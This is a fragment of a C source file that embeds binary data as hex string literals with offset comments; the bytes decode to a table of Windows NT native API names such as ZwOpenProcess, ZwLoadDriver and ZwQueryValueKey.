"\x75\x70\x6C\x69\x63\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x00\x5A" //uplicateObject.Z /* 010B80 */ "\x77\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x54\x6F\x6B\x65\x6E\x00" //wDuplicateToken. /* 010BA0 */ "\x5A\x77\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x42\x6F\x6F\x74\x45" //ZwEnumerateBootE /* 010BC0 */ "\x6E\x74\x72\x69\x65\x73\x00\x5A\x77\x45\x6E\x75\x6D\x65\x72\x61" //ntries.ZwEnumera /* 010BE0 */ "\x74\x65\x4B\x65\x79\x00\x5A\x77\x45\x6E\x75\x6D\x65\x72\x61\x74" //teKey.ZwEnumerat /* 010C00 */ "\x65\x53\x79\x73\x74\x65\x6D\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65" //eSystemEnvironme /* 010C20 */ "\x6E\x74\x56\x61\x6C\x75\x65\x73\x45\x78\x00\x5A\x77\x45\x6E\x75" //ntValuesEx.ZwEnu /* 010C40 */ "\x6D\x65\x72\x61\x74\x65\x56\x61\x6C\x75\x65\x4B\x65\x79\x00\x5A" //merateValueKey.Z /* 010C60 */ "\x77\x45\x78\x74\x65\x6E\x64\x53\x65\x63\x74\x69\x6F\x6E\x00\x5A" //wExtendSection.Z /* 010C80 */ "\x77\x46\x69\x6C\x74\x65\x72\x54\x6F\x6B\x65\x6E\x00\x5A\x77\x46" //wFilterToken.ZwF /* 010CA0 */ "\x69\x6E\x64\x41\x74\x6F\x6D\x00\x5A\x77\x46\x6C\x75\x73\x68\x42" //indAtom.ZwFlushB /* 010CC0 */ "\x75\x66\x66\x65\x72\x73\x46\x69\x6C\x65\x00\x5A\x77\x46\x6C\x75" //uffersFile.ZwFlu /* 010CE0 */ "\x73\x68\x49\x6E\x73\x74\x72\x75\x63\x74\x69\x6F\x6E\x43\x61\x63" //shInstructionCac /* 010D00 */ "\x68\x65\x00\x5A\x77\x46\x6C\x75\x73\x68\x4B\x65\x79\x00\x5A\x77" //he.ZwFlushKey.Zw /* 010D20 */ "\x46\x6C\x75\x73\x68\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F" //FlushVirtualMemo /* 010D40 */ "\x72\x79\x00\x5A\x77\x46\x6C\x75\x73\x68\x57\x72\x69\x74\x65\x42" //ry.ZwFlushWriteB /* 010D60 */ "\x75\x66\x66\x65\x72\x00\x5A\x77\x46\x72\x65\x65\x55\x73\x65\x72" //uffer.ZwFreeUser /* 010D80 */ "\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x5A\x77" //PhysicalPages.Zw /* 010DA0 */ "\x46\x72\x65\x65\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F\x72" //FreeVirtualMemor /* 010DC0 */ "\x79\x00\x5A\x77\x46\x73\x43\x6F\x6E\x74\x72\x6F\x6C\x46\x69\x6C" //y.ZwFsControlFil /* 010DE0 */ "\x65\x00\x5A\x77\x47\x65\x74\x43\x6F\x6E\x74\x65\x78\x74\x54\x68" //e.ZwGetContextTh /* 010E00 */ "\x72\x65\x61\x64\x00\x5A\x77\x47\x65\x74\x44\x65\x76\x69\x63\x65" //read.ZwGetDevice /* 010E20 */ "\x50\x6F\x77\x65\x72\x53\x74\x61\x74\x65\x00\x5A\x77\x47\x65\x74" //PowerState.ZwGet /* 010E40 */ "\x50\x6C\x75\x67\x50\x6C\x61\x79\x45\x76\x65\x6E\x74\x00\x5A\x77" //PlugPlayEvent.Zw /* 010E60 */ "\x47\x65\x74\x57\x72\x69\x74\x65\x57\x61\x74\x63\x68\x00\x5A\x77" //GetWriteWatch.Zw /* 010E80 */ "\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x41\x6E\x6F\x6E\x79" //ImpersonateAnony /* 010EA0 */ "\x6D\x6F\x75\x73\x54\x6F\x6B\x65\x6E\x00\x5A\x77\x49\x6D\x70\x65" //mousToken.ZwImpe /* 010EC0 */ "\x72\x73\x6F\x6E\x61\x74\x65\x43\x6C\x69\x65\x6E\x74\x4F\x66\x50" //rsonateClientOfP /* 010EE0 */ "\x6F\x72\x74\x00\x5A\x77\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74" //ort.ZwImpersonat /* 010F00 */ "\x65\x54\x68\x72\x65\x61\x64\x00\x5A\x77\x49\x6E\x69\x74\x69\x61" //eThread.ZwInitia /* 010F20 */ "\x6C\x69\x7A\x65\x52\x65\x67\x69\x73\x74\x72\x79\x00\x5A\x77\x49" //lizeRegistry.ZwI /* 010F40 */ "\x6E\x69\x74\x69\x61\x74\x65\x50\x6F\x77\x65\x72\x41\x63\x74\x69" //nitiatePowerActi /* 010F60 */ "\x6F\x6E\x00\x5A\x77\x49\x73\x50\x72\x6F\x63\x65\x73\x73\x49\x6E" //on.ZwIsProcessIn /* 010F80 */ "\x4A\x6F\x62\x00\x5A\x77\x49\x73\x53\x79\x73\x74\x65\x6D\x52\x65" //Job.ZwIsSystemRe /* 010FA0 */ "\x73\x75\x6D\x65\x41\x75\x74\x6F\x6D\x61\x74\x69\x63\x00\x5A\x77" //sumeAutomatic.Zw /* 010FC0 */ "\x4C\x69\x73\x74\x65\x6E\x50\x6F\x72\x74\x00\x5A\x77\x4C\x6F\x61" //ListenPort.ZwLoa /* 010FE0 */ "\x64\x44\x72\x69\x76\x65\x72\x00\x5A\x77\x4C\x6F\x61\x64\x4B\x65" //dDriver.ZwLoadKe /* 011000 */ "\x79\x00\x5A\x77\x4C\x6F\x61\x64\x4B\x65\x79\x32\x00\x5A\x77\x4C" //y.ZwLoadKey2.ZwL /* 011020 */ "\x6F\x63\x6B\x46\x69\x6C\x65\x00\x5A\x77\x4C\x6F\x63\x6B\x50\x72" //ockFile.ZwLockPr /* 011040 */ "\x6F\x64\x75\x63\x74\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x4B" //oductActivationK /* 011060 */ "\x65\x79\x73\x00\x5A\x77\x4C\x6F\x63\x6B\x52\x65\x67\x69\x73\x74" //eys.ZwLockRegist /* 011080 */ "\x72\x79\x4B\x65\x79\x00\x5A\x77\x4C\x6F\x63\x6B\x56\x69\x72\x74" //ryKey.ZwLockVirt /* 0110A0 */ "\x75\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x5A\x77\x4D\x61\x6B\x65" //ualMemory.ZwMake /* 0110C0 */ "\x50\x65\x72\x6D\x61\x6E\x65\x6E\x74\x4F\x62\x6A\x65\x63\x74\x00" //PermanentObject. /* 0110E0 */ "\x5A\x77\x4D\x61\x6B\x65\x54\x65\x6D\x70\x6F\x72\x61\x72\x79\x4F" //ZwMakeTemporaryO /* 011100 */ "\x62\x6A\x65\x63\x74\x00\x5A\x77\x4D\x61\x70\x55\x73\x65\x72\x50" //bject.ZwMapUserP /* 011120 */ "\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x5A\x77\x4D" //hysicalPages.ZwM /* 011140 */ "\x61\x70\x55\x73\x65\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61" //apUserPhysicalPa /* 011160 */ "\x67\x65\x73\x53\x63\x61\x74\x74\x65\x72\x00\x5A\x77\x4D\x61\x70" //gesScatter.ZwMap /* 011180 */ "\x56\x69\x65\x77\x4F\x66\x53\x65\x63\x74\x69\x6F\x6E\x00\x5A\x77" //ViewOfSection.Zw /* 0111A0 */ "\x4D\x6F\x64\x69\x66\x79\x42\x6F\x6F\x74\x45\x6E\x74\x72\x79\x00" //ModifyBootEntry. /* 0111C0 */ "\x5A\x77\x4E\x6F\x74\x69\x66\x79\x43\x68\x61\x6E\x67\x65\x44\x69" //ZwNotifyChangeDi /* 0111E0 */ "\x72\x65\x63\x74\x6F\x72\x79\x46\x69\x6C\x65\x00\x5A\x77\x4E\x6F" //rectoryFile.ZwNo /* 011200 */ "\x74\x69\x66\x79\x43\x68\x61\x6E\x67\x65\x4B\x65\x79\x00\x5A\x77" //tifyChangeKey.Zw /* 011220 */ "\x4E\x6F\x74\x69\x66\x79\x43\x68\x61\x6E\x67\x65\x4D\x75\x6C\x74" //NotifyChangeMult /* 011240 */ "\x69\x70\x6C\x65\x4B\x65\x79\x73\x00\x5A\x77\x4F\x70\x65\x6E\x44" //ipleKeys.ZwOpenD /* 011260 */ "\x69\x72\x65\x63\x74\x6F\x72\x79\x4F\x62\x6A\x65\x63\x74\x00\x5A" //irectoryObject.Z /* 011280 */ "\x77\x4F\x70\x65\x6E\x45\x76\x65\x6E\x74\x00\x5A\x77\x4F\x70\x65" //wOpenEvent.ZwOpe /* 0112A0 */ "\x6E\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x5A\x77\x4F\x70\x65" //nEventPair.ZwOpe /* 0112C0 */ "\x6E\x46\x69\x6C\x65\x00\x5A\x77\x4F\x70\x65\x6E\x49\x6F\x43\x6F" //nFile.ZwOpenIoCo /* 0112E0 */ "\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x5A\x77\x4F\x70\x65\x6E\x4A" //mpletion.ZwOpenJ /* 011300 */ "\x6F\x62\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x4F\x70\x65\x6E\x4B" //obObject.ZwOpenK /* 011320 */ "\x65\x79\x00\x5A\x77\x4F\x70\x65\x6E\x4B\x65\x79\x65\x64\x45\x76" //ey.ZwOpenKeyedEv /* 011340 */ "\x65\x6E\x74\x00\x5A\x77\x4F\x70\x65\x6E\x4D\x75\x74\x61\x6E\x74" //ent.ZwOpenMutant /* 011360 */ "\x00\x5A\x77\x4F\x70\x65\x6E\x4F\x62\x6A\x65\x63\x74\x41\x75\x64" //.ZwOpenObjectAud /* 011380 */ "\x69\x74\x41\x6C\x61\x72\x6D\x00\x5A\x77\x4F\x70\x65\x6E\x50\x72" //itAlarm.ZwOpenPr /* 0113A0 */ "\x6F\x63\x65\x73\x73\x00\x5A\x77\x4F\x70\x65\x6E\x50\x72\x6F\x63" //ocess.ZwOpenProc /* 0113C0 */ "\x65\x73\x73\x54\x6F\x6B\x65\x6E\x00\x5A\x77\x4F\x70\x65\x6E\x50" //essToken.ZwOpenP /* 0113E0 */ "\x72\x6F\x63\x65\x73\x73\x54\x6F\x6B\x65\x6E\x45\x78\x00\x5A\x77" //rocessTokenEx.Zw /* 011400 */ "\x4F\x70\x65\x6E\x53\x65\x63\x74\x69\x6F\x6E\x00\x5A\x77\x4F\x70" //OpenSection.ZwOp /* 011420 */ "\x65\x6E\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x00\x5A\x77\x4F\x70" //enSemaphore.ZwOp /* 011440 */ "\x65\x6E\x53\x79\x6D\x62\x6F\x6C\x69\x63\x4C\x69\x6E\x6B\x4F\x62" //enSymbolicLinkOb /* 011460 */ "\x6A\x65\x63\x74\x00\x5A\x77\x4F\x70\x65\x6E\x54\x68\x72\x65\x61" //ject.ZwOpenThrea /* 011480 */ "\x64\x00\x5A\x77\x4F\x70\x65\x6E\x54\x68\x72\x65\x61\x64\x54\x6F" //d.ZwOpenThreadTo /* 0114A0 */ "\x6B\x65\x6E\x00\x5A\x77\x4F\x70\x65\x6E\x54\x68\x72\x65\x61\x64" //ken.ZwOpenThread /* 0114C0 */ "\x54\x6F\x6B\x65\x6E\x45\x78\x00\x5A\x77\x4F\x70\x65\x6E\x54\x69" //TokenEx.ZwOpenTi /* 0114E0 */ "\x6D\x65\x72\x00\x5A\x77\x50\x6C\x75\x67\x50\x6C\x61\x79\x43\x6F" //mer.ZwPlugPlayCo /* 011500 */ "\x6E\x74\x72\x6F\x6C\x00\x5A\x77\x50\x6F\x77\x65\x72\x49\x6E\x66" //ntrol.ZwPowerInf /* 011520 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x5A\x77\x50\x72\x69\x76\x69" //ormation.ZwPrivi /* 011540 */ "\x6C\x65\x67\x65\x43\x68\x65\x63\x6B\x00\x5A\x77\x50\x72\x69\x76" //legeCheck.ZwPriv /* 011560 */ "\x69\x6C\x65\x67\x65\x4F\x62\x6A\x65\x63\x74\x41\x75\x64\x69\x74" //ilegeObjectAudit /* 011580 */ "\x41\x6C\x61\x72\x6D\x00\x5A\x77\x50\x72\x69\x76\x69\x6C\x65\x67" //Alarm.ZwPrivileg /* 0115A0 */ "\x65\x64\x53\x65\x72\x76\x69\x63\x65\x41\x75\x64\x69\x74\x41\x6C" //edServiceAuditAl /* 0115C0 */ "\x61\x72\x6D\x00\x5A\x77\x50\x72\x6F\x74\x65\x63\x74\x56\x69\x72" //arm.ZwProtectVir /* 0115E0 */ "\x74\x75\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x5A\x77\x50\x75\x6C" //tualMemory.ZwPul /* 011600 */ "\x73\x65\x45\x76\x65\x6E\x74\x00\x5A\x77\x51\x75\x65\x72\x79\x41" //seEvent.ZwQueryA /* 011620 */ "\x74\x74\x72\x69\x62\x75\x74\x65\x73\x46\x69\x6C\x65\x00\x5A\x77" //ttributesFile.Zw /* 011640 */ "\x51\x75\x65\x72\x79\x42\x6F\x6F\x74\x45\x6E\x74\x72\x79\x4F\x72" //QueryBootEntryOr /* 011660 */ "\x64\x65\x72\x00\x5A\x77\x51\x75\x65\x72\x79\x42\x6F\x6F\x74\x4F" //der.ZwQueryBootO /* 011680 */ "\x70\x74\x69\x6F\x6E\x73\x00\x5A\x77\x51\x75\x65\x72\x79\x44\x65" //ptions.ZwQueryDe /* 0116A0 */ "\x62\x75\x67\x46\x69\x6C\x74\x65\x72\x53\x74\x61\x74\x65\x00\x5A" //bugFilterState.Z /* 0116C0 */ "\x77\x51\x75\x65\x72\x79\x44\x65\x66\x61\x75\x6C\x74\x4C\x6F\x63" //wQueryDefaultLoc /* 0116E0 */ "\x61\x6C\x65\x00\x5A\x77\x51\x75\x65\x72\x79\x44\x65\x66\x61\x75" //ale.ZwQueryDefau /* 011700 */ "\x6C\x74\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00\x5A\x77\x51" //ltUILanguage.ZwQ /* 011720 */ "\x75\x65\x72\x79\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x46\x69\x6C" //ueryDirectoryFil /* 011740 */ "\x65\x00\x5A\x77\x51\x75\x65\x72\x79\x44\x69\x72\x65\x63\x74\x6F" //e.ZwQueryDirecto /* 011760 */ "\x72\x79\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x51\x75\x65\x72\x79" //ryObject.ZwQuery /* 011780 */ "\x45\x61\x46\x69\x6C\x65\x00\x5A\x77\x51\x75\x65\x72\x79\x45\x76" //EaFile.ZwQueryEv /* 0117A0 */ "\x65\x6E\x74\x00\x5A\x77\x51\x75\x65\x72\x79\x46\x75\x6C\x6C\x41" //ent.ZwQueryFullA /* 0117C0 */ "\x74\x74\x72\x69\x62\x75\x74\x65\x73\x46\x69\x6C\x65\x00\x5A\x77" //ttributesFile.Zw /* 0117E0 */ "\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E" //QueryInformation /* 011800 */ "\x41\x74\x6F\x6D\x00\x5A\x77\x51\x75\x65\x72\x79\x49\x6E\x66\x6F" //Atom.ZwQueryInfo /* 011820 */ "\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00\x5A\x77\x51\x75" //rmationFile.ZwQu /* 011840 */ "\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4A\x6F" //eryInformationJo /* 011860 */ "\x62\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x51\x75\x65\x72\x79\x49" //bObject.ZwQueryI /* 011880 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x72\x74\x00\x5A" //nformationPort.Z /* 0118A0 */ "\x77\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F" //wQueryInformatio /* 0118C0 */ "\x6E\x50\x72\x6F\x63\x65\x73\x73\x00\x5A\x77\x51\x75\x65\x72\x79" //nProcess.ZwQuery /* 0118E0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x54\x68\x72\x65\x61" //InformationThrea /* 011900 */ "\x64\x00\x5A\x77\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61" //d.ZwQueryInforma /* 011920 */ "\x74\x69\x6F\x6E\x54\x6F\x6B\x65\x6E\x00\x5A\x77\x51\x75\x65\x72" //tionToken.ZwQuer /* 011940 */ "\x79\x49\x6E\x73\x74\x61\x6C\x6C\x55\x49\x4C\x61\x6E\x67\x75\x61" //yInstallUILangua /* 011960 */ "\x67\x65\x00\x5A\x77\x51\x75\x65\x72\x79\x49\x6E\x74\x65\x72\x76" //ge.ZwQueryInterv /* 011980 */ "\x61\x6C\x50\x72\x6F\x66\x69\x6C\x65\x00\x5A\x77\x51\x75\x65\x72" //alProfile.ZwQuer /* 0119A0 */ "\x79\x49\x6F\x43\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x5A\x77" //yIoCompletion.Zw /* 0119C0 */ "\x51\x75\x65\x72\x79\x4B\x65\x79\x00\x5A\x77\x51\x75\x65\x72\x79" //QueryKey.ZwQuery /* 0119E0 */ "\x4D\x75\x6C\x74\x69\x70\x6C\x65\x56\x61\x6C\x75\x65\x4B\x65\x79" //MultipleValueKey /* 011A00 */ "\x00\x5A\x77\x51\x75\x65\x72\x79\x4D\x75\x74\x61\x6E\x74\x00\x5A" //.ZwQueryMutant.Z /* 011A20 */ "\x77\x51\x75\x65\x72\x79\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x51" //wQueryObject.ZwQ /* 011A40 */ "\x75\x65\x72\x79\x4F\x70\x65\x6E\x53\x75\x62\x4B\x65\x79\x73\x00" //ueryOpenSubKeys. /* 011A60 */ "\x5A\x77\x51\x75\x65\x72\x79\x50\x65\x72\x66\x6F\x72\x6D\x61\x6E" //ZwQueryPerforman /* 011A80 */ "\x63\x65\x43\x6F\x75\x6E\x74\x65\x72\x00\x5A\x77\x51\x75\x65\x72" //ceCounter.ZwQuer /* 011AA0 */ "\x79\x50\x6F\x72\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E" //yPortInformation /* 011AC0 */ "\x50\x72\x6F\x63\x65\x73\x73\x00\x5A\x77\x51\x75\x65\x72\x79\x51" //Process.ZwQueryQ /* 011AE0 */ "\x75\x6F\x74\x61\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46" //uotaInformationF /* 011B00 */ "\x69\x6C\x65\x00\x5A\x77\x51\x75\x65\x72\x79\x53\x65\x63\x74\x69" //ile.ZwQuerySecti /* 011B20 */ "\x6F\x6E\x00\x5A\x77\x51\x75\x65\x72\x79\x53\x65\x63\x75\x72\x69" //on.ZwQuerySecuri /* 011B40 */ "\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x51\x75\x65\x72\x79" //tyObject.ZwQuery /* 011B60 */ "\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x00\x5A\x77\x51\x75\x65\x72" //Semaphore.ZwQuer /* 011B80 */ "\x79\x53\x79\x6D\x62\x6F\x6C\x69\x63\x4C\x69\x6E\x6B\x4F\x62\x6A" //ySymbolicLinkObj /* 011BA0 */ "\x65\x63\x74\x00\x5A\x77\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65" //ect.ZwQuerySyste /* 011BC0 */ "\x6D\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75" //mEnvironmentValu /* 011BE0 */ "\x65\x00\x5A\x77\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65\x6D\x45" //e.ZwQuerySystemE /* 011C00 */ "\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75\x65\x45" //nvironmentValueE /* 011C20 */ "\x78\x00\x5A\x77\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65\x6D\x49" //x.ZwQuerySystemI /* 011C40 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x5A\x77\x51\x75\x65" //nformation.ZwQue /* 011C60 */ "\x72\x79\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x5A\x77\x51" //rySystemTime.ZwQ /* 011C80 */ "\x75\x65\x72\x79\x54\x69\x6D\x65\x72\x00\x5A\x77\x51\x75\x65\x72" //ueryTimer.ZwQuer /* 011CA0 */ "\x79\x54\x69\x6D\x65\x72\x52\x65\x73\x6F\x6C\x75\x74\x69\x6F\x6E" //yTimerResolution /* 011CC0 */ "\x00\x5A\x77\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x4B\x65\x79" //.ZwQueryValueKey /* 011CE0 */ "\x00\x5A\x77\x51\x75\x65\x72\x79\x56\x69\x72\x74\x75\x61\x6C\x4D" //.ZwQueryVirtualM /* 011D00 */ "\x65\x6D\x6F\x72\x79\x00\x5A\x77\x51\x75\x65\x72\x79\x56\x6F\x6C" //emory.ZwQueryVol /* 011D20 */ "\x75\x6D\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69" //umeInformationFi /* 011D40 */ "\x6C\x65\x00\x5A\x77\x51\x75\x65\x75\x65\x41\x70\x63\x54\x68\x72" //le.ZwQueueApcThr /* 011D60 */ "\x65\x61\x64\x00\x5A\x77\x52\x61\x69\x73\x65\x45\x78\x63\x65\x70" //ead.ZwRaiseExcep /* 011D80 */ "\x74\x69\x6F\x6E\x00\x5A\x77\x52\x61\x69\x73\x65\x48\x61\x72\x64" //tion.ZwRaiseHard /* 011DA0 */ "\x45\x72\x72\x6F\x72\x00\x5A\x77\x52\x65\x61\x64\x46\x69\x6C\x65" //Error.ZwReadFile /* 011DC0 */ "\x00\x5A\x77\x52\x65\x61\x64\x46\x69\x6C\x65\x53\x63\x61\x74\x74" //.ZwReadFileScatt /* 011DE0 */ "\x65\x72\x00\x5A\x77\x52\x65\x61\x64\x52\x65\x71\x75\x65\x73\x74" //er.ZwReadRequest /* 011E00 */ "\x44\x61\x74\x61\x00\x5A\x77\x52\x65\x61\x64\x56\x69\x72\x74\x75" //Data.ZwReadVirtu /* 011E20 */ "\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x5A\x77\x52\x65\x67\x69\x73" //alMemory.ZwRegis /* 011E40 */ "\x74\x65\x72\x54\x68\x72\x65\x61\x64\x54\x65\x72\x6D\x69\x6E\x61" //terThreadTermina /* 011E60 */ "\x74\x65\x50\x6F\x72\x74\x00\x5A\x77\x52\x65\x6C\x65\x61\x73\x65" //tePort.ZwRelease /* 011E80 */ "\x4B\x65\x79\x65\x64\x45\x76\x65\x6E\x74\x00\x5A\x77\x52\x65\x6C" //KeyedEvent.ZwRel /* 011EA0 */ "\x65\x61\x73\x65\x4D\x75\x74\x61\x6E\x74\x00\x5A\x77\x52\x65\x6C" //easeMutant.ZwRel /* 011EC0 */ "\x65\x61\x73\x65\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x00\x5A\x77" //easeSemaphore.Zw /* 011EE0 */ "\x52\x65\x6D\x6F\x76\x65\x49\x6F\x43\x6F\x6D\x70\x6C\x65\x74\x69" //RemoveIoCompleti /* 011F00 */ "\x6F\x6E\x00\x5A\x77\x52\x65\x6D\x6F\x76\x65\x50\x72\x6F\x63\x65" //on.ZwRemoveProce /* 011F20 */ "\x73\x73\x44\x65\x62\x75\x67\x00\x5A\x77\x52\x65\x6E\x61\x6D\x65" //ssDebug.ZwRename /* 011F40 */ "\x4B\x65\x79\x00\x5A\x77\x52\x65\x70\x6C\x61\x63\x65\x4B\x65\x79" //Key.ZwReplaceKey /* 011F60 */ "\x00\x5A\x77\x52\x65\x70\x6C\x79\x50\x6F\x72\x74\x00\x5A\x77\x52" //.ZwReplyPort.ZwR /* 011F80 */ "\x65\x70\x6C\x79\x57\x61\x69\x74\x52\x65\x63\x65\x69\x76\x65\x50" //eplyWaitReceiveP /* 011FA0 */ "\x6F\x72\x74\x00\x5A\x77\x52\x65\x70\x6C\x79\x57\x61\x69\x74\x52" //ort.ZwReplyWaitR /* 011FC0 */ "\x65\x63\x65\x69\x76\x65\x50\x6F\x72\x74\x45\x78\x00\x5A\x77\x52" //eceivePortEx.ZwR /* 011FE0 */ "\x65\x70\x6C\x79\x57\x61\x69\x74\x52\x65\x70\x6C\x79\x50\x6F\x72" //eplyWaitReplyPor /* 012000 */ "\x74\x00\x5A\x77\x52\x65\x71\x75\x65\x73\x74\x44\x65\x76\x69\x63" //t.ZwRequestDevic /* 012020 */ "\x65\x57\x61\x6B\x65\x75\x70\x00\x5A\x77\x52\x65\x71\x75\x65\x73" //eWakeup.ZwReques /* 012040 */ "\x74\x50\x6F\x72\x74\x00\x5A\x77\x52\x65\x71\x75\x65\x73\x74\x57" //tPort.ZwRequestW /* 012060 */ "\x61\x69\x74\x52\x65\x70\x6C\x79\x50\x6F\x72\x74\x00\x5A\x77\x52" //aitReplyPort.ZwR /* 012080 */ "\x65\x71\x75\x65\x73\x74\x57\x61\x6B\x65\x75\x70\x4C\x61\x74\x65" //equestWakeupLate /* 0120A0 */ "\x6E\x63\x79\x00\x5A\x77\x52\x65\x73\x65\x74\x45\x76\x65\x6E\x74" //ncy.ZwResetEvent /* 0120C0 */ "\x00\x5A\x77\x52\x65\x73\x65\x74\x57\x72\x69\x74\x65\x57\x61\x74" //.ZwResetWriteWat /* 0120E0 */ "\x63\x68\x00\x5A\x77\x52\x65\x73\x74\x6F\x72\x65\x4B\x65\x79\x00" //ch.ZwRestoreKey. /* 012100 */ "\x5A\x77\x52\x65\x73\x75\x6D\x65\x50\x72\x6F\x63\x65\x73\x73\x00" //ZwResumeProcess. /* 012120 */ "\x5A\x77\x52\x65\x73\x75\x6D\x65\x54\x68\x72\x65\x61\x64\x00\x5A" //ZwResumeThread.Z /* 012140 */ "\x77\x53\x61\x76\x65\x4B\x65\x79\x00\x5A\x77\x53\x61\x76\x65\x4B" //wSaveKey.ZwSaveK /* 012160 */ "\x65\x79\x45\x78\x00\x5A\x77\x53\x61\x76\x65\x4D\x65\x72\x67\x65" //eyEx.ZwSaveMerge /* 012180 */ "\x64\x4B\x65\x79\x73\x00\x5A\x77\x53\x65\x63\x75\x72\x65\x43\x6F" //dKeys.ZwSecureCo /* 0121A0 */ "\x6E\x6E\x65\x63\x74\x50\x6F\x72\x74\x00\x5A\x77\x53\x65\x74\x42" //nnectPort.ZwSetB /* 0121C0 */ "\x6F\x6F\x74\x45\x6E\x74\x72\x79\x4F\x72\x64\x65\x72\x00\x5A\x77" //ootEntryOrder.Zw /* 0121E0 */ "\x53\x65\x74\x42\x6F\x6F\x74\x4F\x70\x74\x69\x6F\x6E\x73\x00\x5A" //SetBootOptions.Z /* 012200 */ "\x77\x53\x65\x74\x43\x6F\x6E\x74\x65\x78\x74\x54\x68\x72\x65\x61" //wSetContextThrea /* 012220 */ "\x64\x00\x5A\x77\x53\x65\x74\x44\x65\x62\x75\x67\x46\x69\x6C\x74" //d.ZwSetDebugFilt /* 012240 */ "\x65\x72\x53\x74\x61\x74\x65\x00\x5A\x77\x53\x65\x74\x44\x65\x66" //erState.ZwSetDef /* 012260 */ "\x61\x75\x6C\x74\x48\x61\x72\x64\x45\x72\x72\x6F\x72\x50\x6F\x72" //aultHardErrorPor /* 012280 */ "\x74\x00\x5A\x77\x53\x65\x74\x44\x65\x66\x61\x75\x6C\x74\x4C\x6F" //t.ZwSetDefaultLo /* 0122A0 */ "\x63\x61\x6C\x65\x00\x5A\x77\x53\x65\x74\x44\x65\x66\x61\x75\x6C" //cale.ZwSetDefaul /* 0122C0 */ "\x74\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00\x5A\x77\x53\x65" //tUILanguage.ZwSe /* 0122E0 */ "\x74\x45\x61\x46\x69\x6C\x65\x00\x5A\x77\x53\x65\x74\x45\x76\x65" //tEaFile.ZwSetEve /* 012300 */ "\x6E\x74\x00\x5A\x77\x53\x65\x74\x45\x76\x65\x6E\x74\x42\x6F\x6F" //nt.ZwSetEventBoo /* 012320 */ "\x73\x74\x50\x72\x69\x6F\x72\x69\x74\x79\x00\x5A\x77\x53\x65\x74" //stPriority.ZwSet /* 012340 */ "\x48\x69\x67\x68\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x5A\x77" //HighEventPair.Zw /* 012360 */ "\x53\x65\x74\x48\x69\x67\x68\x57\x61\x69\x74\x4C\x6F\x77\x45\x76" //SetHighWaitLowEv /* 012380 */ "\x65\x6E\x74\x50\x61\x69\x72\x00\x5A\x77\x53\x65\x74\x49\x6E\x66" //entPair.ZwSetInf /* 0123A0 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x44\x65\x62\x75\x67\x4F\x62\x6A" //ormationDebugObj /* 0123C0 */ "\x65\x63\x74\x00\x5A\x77\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61" //ect.ZwSetInforma /* 0123E0 */ "\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00\x5A\x77\x53\x65\x74\x49\x6E" //tionFile.ZwSetIn /* 012400 */ "\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4A\x6F\x62\x4F\x62\x6A\x65" //formationJobObje /* 012420 */ "\x63\x74\x00\x5A\x77\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74" //ct.ZwSetInformat /* 012440 */ "\x69\x6F\x6E\x4B\x65\x79\x00\x5A\x77\x53\x65\x74\x49\x6E\x66\x6F" //ionKey.ZwSetInfo /* 012460 */ 